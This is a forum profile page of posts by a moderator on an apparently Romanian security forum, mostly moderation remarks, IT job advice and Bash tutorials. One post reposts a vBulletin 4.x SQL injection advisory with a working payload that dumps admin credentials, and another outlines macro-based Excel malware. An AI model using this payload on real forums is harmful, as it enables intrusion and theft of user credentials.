-
Posts
18714 -
Joined
-
Last visited
-
Days Won
701
Everything posted by Nytro
-
Da, nu prea are rost. Poate vor sa descarce un ebook, nu doar sa vada ce se afla la link-ul din topicul "Porno pe Youtube"... Si nu are rost sa ii obligam sa posteze.
-
Iti dau eu daca mai ai nevoie. Pot trai si fara 2 €...
-
ATM-ul nu e tocmai "Facultate". Facultate e aia la care poti sa lipsesti 2-3 saptamani si sa nu ii pese nimanui, nu chestia la care te trezeste la 7 dimineata si te pune sa alergi.
-
Clasic: 8 ore + 1 pauza de masa. De la 09:00 la 18:00. Sambata si duminica liber. Nu fac mare lucru. Chestia asta am postat-o pe blog, pentru prieteni mai mult, dar ma gandesc ca poate e utila si altora.
-
Câteva lucruri de luat în considerare de cei care vor s? se angajeze în domeniul IT, în alte domenii nu ?tiu cum stau lucrurile, dar în IT poate fi foarte u?or. M-am angajat ?i eu de curând ?i am înv??at câteva lucruri importante, lucruri care pot fi foarte utile celor care vor s? se angajeze în domeniul IT. Care s? fie cel mai bun moment în care s? te angajezi? Asta depinde de fiecare în parte. M? voi adresa în special celor ca ?i mine, studen?i (la informatic?) care vor s? devin? independen?i. Înainte de a v? angaja trebuie s? v? pune?i mai multe întreb?ri: - îmi ajung banii pe care mi-i ofer? parin?ii? - o s? m? mai pot distra dac? voi lucra? - voi putea s? m? ?in de ?coal? dac? m? angajez? - cum se va schimba via?a mea pe viitor? ?i probabil multe altele. Nu lua?i asta în glum?. De aceste alegeri ?i de cum r?spunde?i la acele întreb?ri depinde via?a voastr?. Ca s? v? r?spund eu la întreb?ri: da, v? ajung banii de la p?rin?i, dar vre?i mai mul?i ?i nu mai vre?i s? depinde?i de p?rin?i. Da, o s? ave?i timp ?i de distrac?ie, nu cred c? v? distra?i la 13:00, la ora aceasta dormi?i, dac? e s? face?i ceva interesant face?i seara/noaptea. Cu ?coala probabil vor ap?rea probleme, dar dac? nu vre?i s? ave?i numai 10 pe linie ?i nu v? pasioneaz? mersul la facultate, nu ve?i avea probleme. Examenele se pot lua înv??ând o noapte (cazul meu, ce-i drept cu 5 ?i nu toate). Via?a se va schimba, dar nu foarte drastic. Vei avea mai pu?in timp liber, dar o s? îl po?i valorifica mai frumos. Câteva idei de urm?rit: nu e bine s? v? angaja?i din primul an, mai ales dac? a?i venit din alt ora?, nu e recomandat s? cere?i miliarde ca salariu, nu o s? v? dea nimeni: nu ave?i experien?? ?i alege?i un loc de munc? unde chiar v-ar pl?cea s? lucra?i, pe cât posibil, nu doar s? o face?i pentru bani. Dac? v? descurca?i cu banii ?i dac? vre?i s? mai a?tepta?i pân? s? ‘prinde?i experien??’, sincer, nu v? recomand s? v? angaja?i. Ve?i lucra toat? via?a, o s? v? s?tura?i, tr?i?i-v? via?a, sta?i lini?ti?i acas?, f?r? griji. ?i asculta?i de p?rin?i ?i de prieteni, lua?i în considerare ceea ce spun îns? gândi?i, doar voi ?ti?i ce e cel mai bine pentru voi (destul de des nu e a?a). L?sând no?iunile morale, s? trecem la lucruri practice ?i aici probabil cel mai important lucru e CV-ul. În primul rând trebuie s? fie ordonat, nu s? împr??tia?i date prin el ?i s? nu se în?eleag? nimic. Apoi, trebuie s? specifica?i orice crede?i c? ar putea fi util, ca un angajator ar vedea cu ochi buni. De asemenea, poza de pe CV ar fi de preferat s? fie una decent?, eu am mers la un interviu cu un CV cu o poz? mai nepotrivit? ?i persoana cu care discutam, având CV-ul meu în fa??, a t?iat poza cu pixul ?i a specificat c? aceea nu e poz? de CV. Ulterior, am înlocuit-o cu una mai elegant?, în costum. De asemenea, conteaz? ?i adresa de mail, nu o s? fie mul?umi?i daca vor vedea “vasile_bagabontu@yahoo.com”. Ar fi de preferat s? face?i un mail separat pentru CV, “nume_prenume_ceva@gmail.com” de exemplu, mie mi s-a atras aten?ia ?i asupra mail-ului. Dar ce con?ine CV-ul? Eh, aici e problema. Problema e c? nu con?ine mai nimic. De aceea sfatul meu pentru cei care sunt la liceu e s? fac? cât mai multe lucruri care ar putea fi trecute în CV, orice proiect, cât de mic, conteaz? foarte mult. Acest lucru e valabil mai ales pentru persoanele care “?tiu” programare. Sunt foarte mul?i care sunt de aceast? p?rere, dar angajatorii nu vor fi dac? nu vor vedea un proiect. Ai înv??at C/C++, PHP sau orice altceva în liceu? Pune în practic?. La fel, dac? e?ti la facultate, po?i g?si pu?in timp s? faci un proiect, nu pierde timpul degeaba. Sunt mai multe lucruri care ar trebui trecute în CV-ul unui viitor IT-ist. pute?i trece postul urm?rit (Full time, Part time, Project based, Internship) ?i salariul dorit. Aten?ie ce valoare îi atribui?i aici variabilei, dac? vor vedea 2000€ nu vor citi mai departe. Trece?i apoi cuno?tin?ele voastre, ceea ce ?ti?i, proiecte ?i orice altceva tehnic ce ar putea fi util. De asemenea trece?i ?i lucruri mai pu?in tehnice ca “m? adaptez u?or”, “înv?? repede lucruri noi”… ?i a?tepta?i-v? ?i la întreb?ri legate de aceste lucruri. Bun, v-a?i f?cut CV-ul ?i vre?i s? trece?i la treab?. Cel mai simplu ?i mai practic, v? face?i conturi pe bestjobs, ejobs. Dar degeaba v? face?i cont acolo dac? nu aplica?i la oferte. Se caut? ?i CV-uri, dar slabe ?anse s? fie g?site ale voastre. Selecta?i domeniile urm?rite ?i vede?i la fiecare slujb? ce se cere. Dac? e?ti sigur c? te descurci po?i aplica, dac? nu, nu are rost. ?i aplic? la cât mai multe. De multe ori nici nu se uit? pe CV, v?d c? nu ave?i experien??, c? nu a?i mai lucrat ?i trec mai departe. În plus, multe firme o s? vad? CV-ul dar nu o s? v? cheme la interviu deoarece aplic? multe persoane ?i probabil multe dintre ele sunt mai preg?tite. Aplica?i la cel pu?in 20-30, ave?i de unde alege, sunt multe locuri în domeniu. Selecta?i în special posturile pentru “Junior”. Avem avantajul c? în domeniul nostru (IT, Software, calculatoare) exist? astfel de posturi special adresate celor f?r? experien?? ?i aici avem cele mai multe ?anse. Desigur, salariile nu sunt exagerat de mari, e mai greu la început, dar trebuie s? trecem ?i prin asta. De asemenea mai exist? ?i internship-uri care pot fi foarte utile ?i se pot înv??a multe lucruri. În fine, am f?cut CV-ul, am aplicat la mai multe locuri ?i ne cheam? la interviu. La primul interviu nu trebuie s? fi?i speria?i sau emo?iona?i. De cele mai multe ori ve?i vorbi cu persoane tinere ?i vesele. O s? v? plac? la interviuri, cel pu?in la primele. Conteaz? mult impresia pe care o face?i, sugestia mea e s? fi?i voi în?iv?. Pe lâng? întreb?rile despre voi, de cele mai multe ori ve?i da teste tehnice, care nu sunt simple. ?i acum se vede ceea ce ?ti?i. Eu înc? de la primul interviu mi-am dat seama c? ?tiu foarte pu?ine. De exemplu, dac? aplica?i pentru un post de programator PHP a?tepta?i-v? la întreb?ri ca: - care e diferen?a dintre <<<CEVA ?i <<<’CEVA’ (heredoc ?i newdoc)? - ce e o clas? abstract?, ce e o interfa?? ?i care sunt diferen?ele dintre ele? - cum se serializeaz? un obiect? - ce fac ?i cum se folosesc __invoke, __string? - ce face ?i când se folose?te cuvântul cheie ‘static’? - care e durat? de via?? a unui cookie pentru care nu se specific? aceasta? - scrie un query cu JOIN-uri care leag? 3 tabele (ca idee – MySQL) - ce sunt ?i cu ce ajut? procedurile preg?tite (prepared queries – MySQL) - pe ce coloane ar trebui pu?i indec?i în baza de date pentru c?ut?ri rapide (MySQL)? Dac? nu ?tii s? r?spunzi la aceste întreb?ri nu ?tii PHP ?i MySQL ?i ar trebui s? mai înve?i. Cam în aceast? situa?ie am fost ?i eu. De asemenea, e posibil s? nu lipseasc? intreb?ri despre mod_rewrite, jQuery/JavaScript, Linux, poate chiar ?i extensii PHP ca sockets. De asemenea ar fi foarte util s? cunoa?te?i cel pu?in un Framework PHP ca Zend, CakePHP, CodeIgniter sau Symphony. Legat de MySQL a?i putea s? înv??a?i ?i partea de administrare ?i câte ceva despre motoarele de stocare. Dac? aplica?i pentru un post de programator C/C++: - cum se supraîncarc? un operator? - acces la date mo?tenite ca private/public/protected… - ce este o func?ie virtual? ?i la ce folose?te? - care-i treaba cu un destructor virtual? - ce este ‘placement new’? (informativ) - cum apelezi o func?ie dintr-un vector de pointeri la func?ii? - scrie un cod care s? inverseze o list? simplu înl?n?uit? - scrie cod care s? genreze numere aleatoare, scriere în fi?iere… În fine, vor fi multe întreb?ri legate de limbaj în sine ?i de algoritmic?. Probabil nu ce am întrebat eu, dar lucruri asem?n?toare. Dar aici stau altfel lucrurile, nu ca la PHP. Aici nu e de ajuns s? cuno?ti doar limbajul, îns? alte lucruri cu care vei lucra la firm? le vei înv??a ulterior. Ai putea s? înve?i cate ceva despre Windows API, multithreading sau ce ?i s-ar p?rea mai util. Aici totul depinde de firma la care mergi la interviu, cu ce se ocup?. Pot de exemplu scrie module de kernel ?i în acest caz nu e de ajuns s? ?tii doar limbajul. La firma la care lucrez eu au fost ?i întreb?ri ca: - modalit??i de comunicare inter-procese (IPC – Inter Process Communication) - care sunt avantajele ?i dezavantajele protocolului UDP fa?? de TCP? - enumer? nivelurile modelului OSI - la ce se folosesc ?i exemple pentru ‘sed’ ?i ‘awk’ Nici pentru un post de ‘Administrator Linux’ nu e deloc u?or. Nu o s? trebuiasc? s? ?tii ce face ‘ls’, va trebui s? ?tii multe, în principal shell scripting ?i foarte multe despre Linux ?i configurare, lucruri pe care nu le vei înv??a din GUI-urile de la Ubuntu. Po?i încerca de exemplu s? compilezi un kernel sau s? instalezi programe din sursa, s? faci totul de la dezarhivare la instalare în linia de comand?. De asemenea, Administrator Linux nu înseamn? s? scrii dou? comenzi în terminal ?i gata, de securitate, permisiuni fi?iere ?i toate cele nu se pune problema. Trebuie s? stai bine ?i la capitolul re?ele. S? ?tii cel pu?in ce e TCP/IP/UDP ?i ce structur? au, câte ceva despre DNS ?i protocoale de nivel aplica?ie: HTTP, FTP… De asemenea nu ar strica s? cuno?ti ?i ni?te protocoale de routare. Cam la astfel de interviuri am fost ?i cam astfel de date v? pot oferi. Ideea de baz? e c? nu e u?or deloc ?i ve?i descoperi repede c? nu ?ti?i foarte multe lucruri ?i ca sunt multe lucruri pe care trebuie s? le înv??a?i. Pe lâng? partea tehnic?, v? vor întreba ?i de salariu. Nu v? a?tepta?i la miliarde, cine ?i pentru ce v-ar da mai mult de 20 de milioane? Voi a?i da cuiva care nu are experien??, care nu a mai lucrat ?i care ?tie doar limbajul cu care va lucra mai mult de 20 de milioane? Nu prea cred. Cere?i cam 300-400 maxim 500 de euro. Dac? ve?i specifica în CV c? vre?i 500 de euro sunt ?anse foarte slabe s? fi?i contactat, nu vor fi multe firme disponibile s? v? ofere astfel de sume. Cere?i cam 400 de euro, eu cred c? e bine pentru început. Apoi, totul depinde de firm?: ce fel de contrat, cât de strict, ce ai voie ?i ce nu ai voie s? faci la munc?, cum merg lucrurile, ce face firma ?i ce vei face tu la firm?… Cam asta v? pot spune eu, sper s? g?si?i informa?ii utile care s? v? ajute. Baft?!
-
Imi place cum e strcturata si aranjata. Thanks.
-
Asa ma gandeam si eu, inca un "boss" ai Internet-ului. Imi pare rau, am febra musculara si nu pot sa ma pun in genunchi inaintea ta. Ban, nu e permanent, poate iti schimbi si tu mentalitatea.
-
1) Pui prea multe emoticoane 2) Faci "idiot" pe oricine iti spune ceva 3) Ai aere dar nu poti dovedi nimic legat de milw0rm Inca un post ca cele de mai sus si ai ban.
-
"linux cmd", "sa invete keylogging", "sa se protejeze cu servere proxy" Da, ce pot sa spun, bun venit...
-
Inca un topic care cere o cultura vasta in industria tehnologiei informatice pentru a putea fi inteles. Stiu, pe baza unui astfel de subiect solid se poate discuta mult, pot sa apara divergente de etica si mentalitate ceea ce ar duce la confilcte morale puternice intre membri. Se poate discuta psihologia personajului, ii se poate face un portret psihologic si se poate face o lista cu critici constructive. De exemplu, poate fi luat ca exemplu, unii membri isi pot crea un ideal in viata din acest personaj. E posibil ca totul sa fie o masca, ca acea persoana sa aiba mai multe identitati. In fine, se pot discuta multe. Dar inchid totusi acest subiect, nu vreau sa va obositi materia cenusie cu subiecte culturale atat de complexe.
-
Vbulletin 4.0.x => 4.1.3 (messagegroupid) SQL injection Vulnerability 0-day # Exploit Title: Vbulletin 4.0.x => 4.1.3 (messagegroupid) SQL injection Vulnerability 0-day # Google Dork: intitle: powered by Vbulletin 4 # Date: 20/07/2011 # Author: FB1H2S # Software Link: [[url]http://www.vbulletin.com/][/url] # Version: [4.x.x] # Tested on: [relevant os] # CVE : [[url=http://members.vbulletin.com/]]Please Log In[/url] ###################################################################################################### Vulnerability: ###################################################################################################### Vbulletin 4.x.x => 4.1.3 suffers from an SQL injection Vulnerability in parameter "&messagegroupid" due to improper input validation. ##################################################################################################### Vulnerable Code: ##################################################################################################### File: /vbforum/search/type/socialgroupmessage.php Line No: 388 Paramater : messagegroupid if ($registry->GPC_exists['messagegroupid'] AND count($registry->GPC['messagegroupid']) > 0) { $value = $registry->GPC['messagegroupid']; if (!is_array($value)) { $value = array($value); } if (!(in_array(' ',$value) OR in_array('',$value))) { if ($rst = $vbulletin->db->query_read(" SELECT socialgroup.name FROM " . TABLE_PREFIX."socialgroup AS socialgroup ---> WHERE socialgroup.groupid IN (" . implode(', ', $value) .")") } ############################################################################################ Exploitation: ############################################################################################ Post data on: -->search.php?search_type=1 --> Search Single Content Type Keywords : Valid Group Message Search Type : Group Messages Search in Group : Valid Group Id &messagegroupid[0]=3 ) UNION SELECT concat(username,0x3a,email,0x3a,password,0x3a,salt) FROM user WHERE userid=1# ########################################################################################## More Details: ########################################################################################## [url]Http://www.Garage4Hackers.com[/url] [url=http://www.garage4hackers.com/showthread.php?1177-Vbulletin-4.0.x-gt-4.1.3-(messagegroupid)-SQL-injection-Vulnerability-0-day]Vbulletin 4.0.x => 4.1.3 (messagegroupid) SQL injection Vulnerability 0-day[/url] ########################################################################################### Note: ########################################################################################### Funny part was that, a similar bug was found in the same module, search query two months back. Any way Vbulletin has released a patch as it was reported to them by altex, hence customers are safe except those lowsy Admins. And this bug is for people to play with the many Nulled VB sites out there. " Say No to Piracy Disclosure ". Sursa: Vbulletin 4.0.x => 4.1.3 (messagegroupid) SQL injection Vulnerability 0-day
-
Membrii urmatori au primit VIP: - Xander - wildchild
-
Nu se merita o categorie pentru asa ceva, poate un topic special.
-
Si tu? Ce aveti ma? Si eu lucrez, dar si de aici de la munca, ma plictisesc si intru pe aici. ------------ From nobody: Nu toti avem acelasi job sa putem judeca la modul general.
-
Advanced Bash-Scripting Guide An in-depth exploration of the art of shell scripting Version 6.3.14 13 Jul 2011 Mendel Cooper thegrendel.abs<@>gmail.com This tutorial assumes no previous knowledge of scripting or programming, but progresses rapidly toward an intermediate/advanced level of instruction . . . all the while sneaking in little nuggets of UNIX® wisdom and lore. It serves as a textbook, a manual for self-study, and a reference and source of knowledge on shell scripting techniques. The exercises and heavily-commented examples invite active reader participation, under the premise that the only way to really learn scripting is to write scripts. This book is suitable for classroom use as a general introduction to programming concepts. Download: http://bash.webofcrafts.net/abs-guide.pdf
-
Bash Shell Programming in Linux Copyright © 2006, P. Lutus Bash what? Okay, I grant that this page might represent a leap from the familiar to the alien without much warning. Here are some explananatory notes: Under Linux, there are some powerful tools that for all practical purposes are unavailable under Windows (I can imagine all the old Linux hands saying "Duh!"). One of these tools is something called "shell programming". This means writing code that a command shell executes. There is something like this under Windows, but as usual, the Windows version is a weak imitation. The most common Linux shell is named "Bash". The name comes from "Bourne Again SHell," which, in turn ... (imagine a lengthy recursion terminating in a caveman's grunt). There are many other shells available. Unless there is a compelling reason not to, I recommend that people stick to the Bash shell, because this increases the chance that your scripts will be portable between machines, distributions, even operating systems. I'll be showing some very basic examples of Bash shell programming on this page, and I want to say at the outset that shell programming is an art, not a science. That means there is always some other way to do the same thing. Because shell programming is an art, please don't write to say, "Wow, that was a really inefficient way to do such-and-such." Please do write (message page) to report actual errors. If this page seems too sketchy and elementary for your taste, you can choose from among the more advanced resources in this list. Online: http://www.arachnoid.com/linux/shell_programming.html
-
A quick guide to writing scripts using the bash shell A simple shell script A shell script is little more than a list of commands that are run in sequence. Conventionally, a shellscript should start with a line such as the following: #!/bin/bash THis indicates that the script should be run in the bash shell regardless of which interactive shell the user has chosen. This is very important, since the syntax of different shells can vary greatly. A simple example Here's a very simple example of a shell script. It just runs a few simple commands #!/bin/bash echo "hello, $USER. I wish to list some files of yours" echo "listing files in the current directory, $PWD" ls # list files Firstly, notice the comment on line 4. In a bash script, anything following a pound sign # (besides the shell name on the first line) is treated as a comment. ie the shell ignores it. It is there for the benifit of people reading the script. $USER and $PWD are variables. These are standard variables defined by the bash shell itself, they needn't be defined in the script. Note that the variables are expanded when the variable name is inside double quotes. Expanded is a very appropriate word: the shell basically sees the string $USER and replaces it with the variable's value then executes the command. We continue the discussion on variables below ... Variables Any programming language needs variables. You define a variable as follows: X="hello" and refer to it as follows: $X More specifically, $X is used to denote the value of the variable X. Some things to take note of regarding semantics: bash gets unhappy if you leave a space on either side of the = sign. For example, the following gives an error message: X = hello while I have quotes in my example, they are not always necessary. where you need quotes is when your variable names include spaces. For example, X=hello world # error X="hello world" # OK This is because the shell essentially sees the command line as a pile of commands and command arguments seperated by spaces. foo=baris considered a command. The problem with foo = bar is the shell sees the word foo seperated by spaces and interprets it as a command. Likewise, the problem with the command X=hello world is that the shell interprets X=hello as a command, and the word "world" does not make any sense (since the assignment command doesn't take arguments). Single Quotes versus double quotes Basically, variable names are exapnded within double quotes, but not single quotes. If you do not need to refer to variables, single quotes are good to use as the results are more predictable. An example #!/bin/bash echo -n '$USER=' # -n option stops echo from breaking the line echo "$USER" echo "\$USER=$USER" # this does the same thing as the first two lines The output looks like this (assuming your username is elflord) $USER=elflord $USER=elflord so the double quotes still have a work around. Double quotes are more flexible, but less predictable. Given the choice between single quotes and double quotes, use single quotes. Using Quotes to enclose your variables Sometimes, it is a good idea to protect variable names in double quotes. This is usually the most important if your variables value either (a) contains spaces or ( is the empty string. An example is as follows: #!/bin/bash X="" if [ -n $X ]; then # -n tests to see if the argument is non empty echo "the variable X is not the empty string" fi This script will give the following output: the variable X is not the empty string Why ? because the shell expands $X to the empty string. The expression [ -n ] returns true (since it is not provided with an argument). A better script would have been: #!/bin/bash X="" if [ -n "$X" ]; then # -n tests to see if the argument is non empty echo "the variable X is not the empty string" fi In this example, the expression expands to [ -n "" ] which returns false, since the string enclosed in inverted commas is clearly empty. Variable Expansion in action Just to convince you that the shell really does "expand" variables in the sense I mentioned before, here is an example: #!/bin/bash LS="ls" LS_FLAGS="-al" $LS $LS_FLAGS $HOME This looks a little enigmatic. What happens with the last line is that it actually executes the command ls -al /home/elflord (assuming that /home/elflord is your home directory). That is, the shell simply replaces the variables with their values, and then executes the command. Using Braces to Protect Your Variables OK. Here's a potential problem situation. Suppose you want to echo the value of the variable X, followed immediately by the letters "abc". Question: how do you do this ? Let's have a try : #!/bin/bash X=ABC echo "$Xabc" THis gives no output. What went wrong ? The answer is that the shell thought that we were asking for the variable Xabc, which is uninitialised. The way to deal with this is to put braces around X to seperate it from the other characters. The following gives the desired result: #!/bin/bash X=ABC echo "${X}abc" Conditionals, if/then/elif Sometimes, it's necessary to check for certain conditions. Does a string have 0 length ? does the file "foo" exist, and is it a symbolic link , or a real file ? Firstly, we use the if command to run a test. The syntax is as follows: if condition then statement1 statement2 .......... fi Sometimes, you may wish to specify an alternate action when the condition fails. Here's how it's done. if condition then statement1 statement2 .......... else statement3 fi alternatively, it is possible to test for another condition if the first "if" fails. Note that any number of elifs can be added. if condition1 then statement1 statement2 .......... elif condition2 then statement3 statement4 ........ elif condition3 then statement5 statement6 ........ fi The statements inside the block between if/elif and the next elif or fi are executed if the corresponding condition is true. Actually, any command can go in place of the conditions, and the block will be executed if and only if the command returns an exit status of 0 (in other words, if the command exits "succesfully" ). However, in the course of this document, we will be only interested in using "test" or "[ ]" to evaluate conditions. The Test Command and Operators The command used in conditionals nearly all the time is the test command. Test returns true or false (more accurately, exits with 0 or non zero status) depending respectively on whether the test is passed or failed. It works like this: test operand1 operator operand2 for some tests, there need be only one operand (operand2) The test command is typically abbreviated in this form: [ operand1 operator operand2 ] To bring this discussion back down to earth, we give a few examples: #!/bin/bash X=3 Y=4 empty_string="" if [ $X -lt $Y ] # is $X less than $Y ? then echo "\$X=${X}, which is smaller than \$Y=${Y}" fi if [ -n "$empty_string" ]; then echo "empty string is non_empty" fi if [ -e "${HOME}/.fvwmrc" ]; then # test to see if ~/.fvwmrc exists echo "you have a .fvwmrc file" if [ -L "${HOME}/.fvwmrc" ]; then # is it a symlink ? echo "it's a symbolic link elif [ -f "${HOME}/.fvwmrc" ]; then # is it a regular file ? echo "it's a regular file" fi else echo "you have no .fvwmrc file" fi Some pitfalls to be wary of The test command needs to be in the form "operand1<space>operator<space>operand2" or operator<space>operand2 , in other words you really need these spaces, since the shell considers the first block containing no spaces to be either an operator (if it begins with a '-') or an operand (if it doesn't). So for example; this if [ 1=2 ]; then echo "hello" fi gives exactly the "wrong" output (ie it echos "hello", since it sees an operand but no operator.) Another potential trap comes from not protecting variables in quotes. We have already given an example as to why you must wrap anything you wish to use for a -n test with quotes. However, there are a lot of good reasons for using quotes all the time, or almost all of the time. Failing to do this when you have variables expanded inside tests can result in very wierd bugs. Here's an example: For example, #!/bin/bash X="-n" Y="" if [ $X = $Y ] ; then echo "X=Y" fi This will give misleading output since the shell expands our expression to [ -n = ] and the string "=" has non zero length. A brief summary of test operators Here's a quick list of test operators. It's by no means comprehensive, but its likely to be all you'll need to remember (if you need anything else, you can always check the bash manpage ... ) operator produces true if... number of operands -n operand non zero length 1 -z operand has zero length 1 -d there exists a directory whose name is operand 1 -f there exists a file whose name is operand 1 -eq the operands are integers and they are equal 2 -neq the opposite of -eq 2 = the operands are equal (as strings) 2 != opposite of = 2 -lt operand1 is strictly less than operand2 (both operands should be integers) 2 -gt operand1 is strictly greater than operand2 (both operands should be integers) 2 -ge operand1 is greater than or equal to operand2 (both operands should be integers) 2 -le operand1 is less than or equal to operand2 (both operands should be integers) 2 Loops Loops are constructions that enable one to reiterate a procedure or perform the same procedure on several different items. There are the following kinds of loops available in bash for loops while loops For loops The syntax for the for loops is best demonstrated by example. #!/bin/bash for X in red green blue do echo $X done THe for loop iterates the loop over the space seperated items. Note that if some of the items have embedded spaces, you need to protect them with quotes. Here's an example: #!/bin/bash colour1="red" colour2="light blue" colour3="dark green" for X in "$colour1" $colour2" $colour3" do echo $X done Can you guess what would happen if we left out the quotes in the for statement ? This indicates that variable names should be protected with quotes unless you are pretty sure that they do not contain any spaces. Globbing in for loops The shell expands a string containing a * to all filenames that "match". A filename matches if and only if it is identical to the match string after replacing the stars * with arbitrary strings. For example, the character "*" by itself expands to a space seperated list of all files in the working directory (excluding those that start with a dot "." ) So echo * lists all the files and directories in the current directory. echo *.jpg lists all the jpeg files. echo ${HOME}/public_html/*.jpg lists all jpeg files in your public_html directory. As it happens, this turns out to be very useful for performing operations on the files in a directory, especially used in conjunction with a for loop. For example: #!/bin/bash for X in *.html do grep -L '<UL>' "$X" done While Loops While loops iterate "while" a given condition is true. An example of this: #!/bin/bash X=0 while [ $X -le 20 ] do echo $X X=$((X+1)) done This raises a natural question: why doesn't bash allow the C like for loops for (X=1,X<10; X++) As it happens, this is discouraged for a reason: bash is an interpreted language, and a rather slow one for that matter. For this reason, heavy iteration is discouraged. Command Substitution Command Substitution is a very handy feature of the bash shell. It enables you to take the output of a command and treat it as though it was written on the command line. For example, if you want to set the variable X to the output of a command, the way you do this is via command substitution. There are two means of command substitution: brace expansion and backtick expansion. Brace expansion workls as follows: $(commands) expands to the output of commands This permits nesting, so commands can include brace expansions Backtick expansion expands `commands` to the output of commands An example is given;: #!/bin/bash files="$(ls)" web_files=`ls public_html` echo "$files" # we need the quotes to preserve embedded newlines in $files echo "$web_files" # we need the quotes to preserve newlines X=`expr 3 \* 2 + 4` # expr evaluate arithmatic expressions. man expr for details. echo "$X" The advantage of the $() substitution method is almost self evident: it is very easy to nest. It is supported by most of the bourne shell varients (the POSIX shell or better is OK). However, the backtick substitution is slightly more readable, and is supported by even the most basic shells (any #!/bin/sh version is just fine) Note that if strings are not quote-protected in the above echo statement, new lines are replaced by spaces in the output. Online: http://www.panix.com/~elflord/unix/bash-tute.html
-
Bash Reference Manual Table of Contents Bash Features 1 Introduction 1.1 What is Bash? 1.2 What is a shell? 2 Definitions 3 Basic Shell Features 3.1 Shell Syntax 3.1.1 Shell Operation 3.1.2 Quoting 3.1.2.1 Escape Character 3.1.2.2 Single Quotes 3.1.2.3 Double Quotes 3.1.2.4 ANSI-C Quoting 3.1.2.5 Locale-Specific Translation 3.1.3 Comments 3.2 Shell Commands 3.2.1 Simple Commands 3.2.2 Pipelines 3.2.3 Lists of Commands 3.2.4 Compound Commands 3.2.4.1 Looping Constructs 3.2.4.2 Conditional Constructs 3.2.4.3 Grouping Commands 3.2.5 Coprocesses 3.3 Shell Functions 3.4 Shell Parameters 3.4.1 Positional Parameters 3.4.2 Special Parameters 3.5 Shell Expansions 3.5.1 Brace Expansion 3.5.2 Tilde Expansion 3.5.3 Shell Parameter Expansion 3.5.4 Command Substitution 3.5.5 Arithmetic Expansion 3.5.6 Process Substitution 3.5.7 Word Splitting 3.5.8 Filename Expansion 3.5.8.1 Pattern Matching 3.5.9 Quote Removal 3.6 Redirections 3.6.1 Redirecting Input 3.6.2 Redirecting Output 3.6.3 Appending Redirected Output 3.6.4 Redirecting Standard Output and Standard Error 3.6.5 Appending Standard Output and Standard Error 3.6.6 Here Documents 3.6.7 Here Strings 3.6.8 Duplicating File Descriptors 3.6.9 Moving File Descriptors 3.6.10 Opening File Descriptors for Reading and Writing 3.7 Executing Commands 3.7.1 Simple Command Expansion 3.7.2 Command Search and Execution 3.7.3 Command Execution Environment 3.7.4 Environment 3.7.5 Exit Status 3.7.6 Signals 3.8 Shell Scripts 4 Shell Builtin Commands 4.1 Bourne Shell Builtins 4.2 Bash Builtin Commands 4.3 Modifying Shell Behavior 4.3.1 The Set Builtin 4.3.2 The Shopt Builtin 4.4 Special Builtins 5 Shell Variables 5.1 Bourne Shell Variables 5.2 Bash Variables 6 Bash Features 6.1 Invoking Bash 6.2 Bash Startup Files 6.3 Interactive Shells 6.3.1 What is an Interactive Shell? 6.3.2 Is this Shell Interactive? 6.3.3 Interactive Shell Behavior 6.4 Bash Conditional Expressions 6.5 Shell Arithmetic 6.6 Aliases 6.7 Arrays 6.8 The Directory Stack 6.8.1 Directory Stack Builtins 6.9 Controlling the Prompt 6.10 The Restricted Shell 6.11 Bash POSIX Mode 7 Job Control 7.1 Job Control Basics 7.2 Job Control Builtins 7.3 Job Control Variables 8 Command Line Editing 8.1 Introduction to Line Editing 8.2 Readline Interaction 8.2.1 Readline Bare Essentials 8.2.2 Readline Movement Commands 8.2.3 Readline Killing Commands 8.2.4 Readline Arguments 8.2.5 Searching for Commands in the History 8.3 Readline Init File 8.3.1 Readline Init File Syntax 8.3.2 Conditional Init Constructs 8.3.3 Sample Init File 8.4 Bindable Readline Commands 8.4.1 Commands For Moving 8.4.2 Commands For Manipulating The History 8.4.3 Commands For Changing Text 8.4.4 Killing And Yanking 8.4.5 Specifying Numeric Arguments 8.4.6 Letting Readline Type For You 8.4.7 Keyboard Macros 8.4.8 Some Miscellaneous Commands 8.5 Readline vi Mode 8.6 Programmable Completion 8.7 Programmable Completion Builtins 9 Using History Interactively 9.1 Bash History Facilities 9.2 Bash History Builtins 9.3 History Expansion 9.3.1 Event Designators 9.3.2 Word Designators 9.3.3 Modifiers 10 Installing Bash 10.1 Basic Installation 10.2 Compilers and Options 10.3 Compiling For Multiple Architectures 10.4 Installation Names 10.5 Specifying the System Type 10.6 Sharing Defaults 10.7 Operation Controls 10.8 Optional Features Appendix A Reporting Bugs Appendix B Major Differences From The Bourne Shell B.1 Implementation Differences From The SVR4.2 Shell Appendix C GNU Free Documentation License Appendix D Indexes D.1 Index of Shell Builtin Commands D.2 Index of Shell Reserved Words D.3 Parameter and Variable Index D.4 Function Index D.5 Concept Index http://www.gnu.org/software/bash/manual/bash.html
-
Nu conteaza ca are motiv sau nu, poate sa vorbeasca civilizat. Va injurati cu prietenii si cu parintii daca va permit, nu aici. Pff, vorbesc ca un tata.
-
Sa nu va mai prind cu rahaturi ca adf.ly. Postati link-ul direct.
-
Create Malicious Excel files using Metasploit and Shellcode2vbscript
Nytro replied to Fi8sVrs's topic in Tutoriale in engleza
Dragut, dar nu trebuie sa fie "activate" (enabled) macro-urile? In 98% din cazuri nu sunt activate. Excel Options -> Trust Center -> Trust Center Settings, implicit e "Disable all macros with notification". Din cate stiu apare un mesaj care te intreaba daca sa fie rulate. Dar nu stiu cati dau "Yes". oricum, parca exista si "Sheet_Load" sau ceva asemanator si puteai pune sa se execute un cod la deschiderea fisierului Excel daca erau Macro enabled, deci nu trebuia ca victima sa apese pe ceva. Iar daca sunt activate chiar nu e necesar atata chin, cu doua linii de cod, cu URLDownloadToFile si WinExec faci ce doresti. -
Da, intri in categoria celor inutili. Ban si pe acest cont.
-
Da, cu tricourile am vazut si eu. Dar imi plac astea, descopar si eu ce prieteni ratati pe care nu ii duce capul am...
-
Calmeaza-te
-
Tinkode nu respecta staff-ul? Nu e de capul lui. Suntem o echipa, nu face fiecare ce vrea. Si nu se ia actiuni fara a fi gandite in prealabil. Plm, baui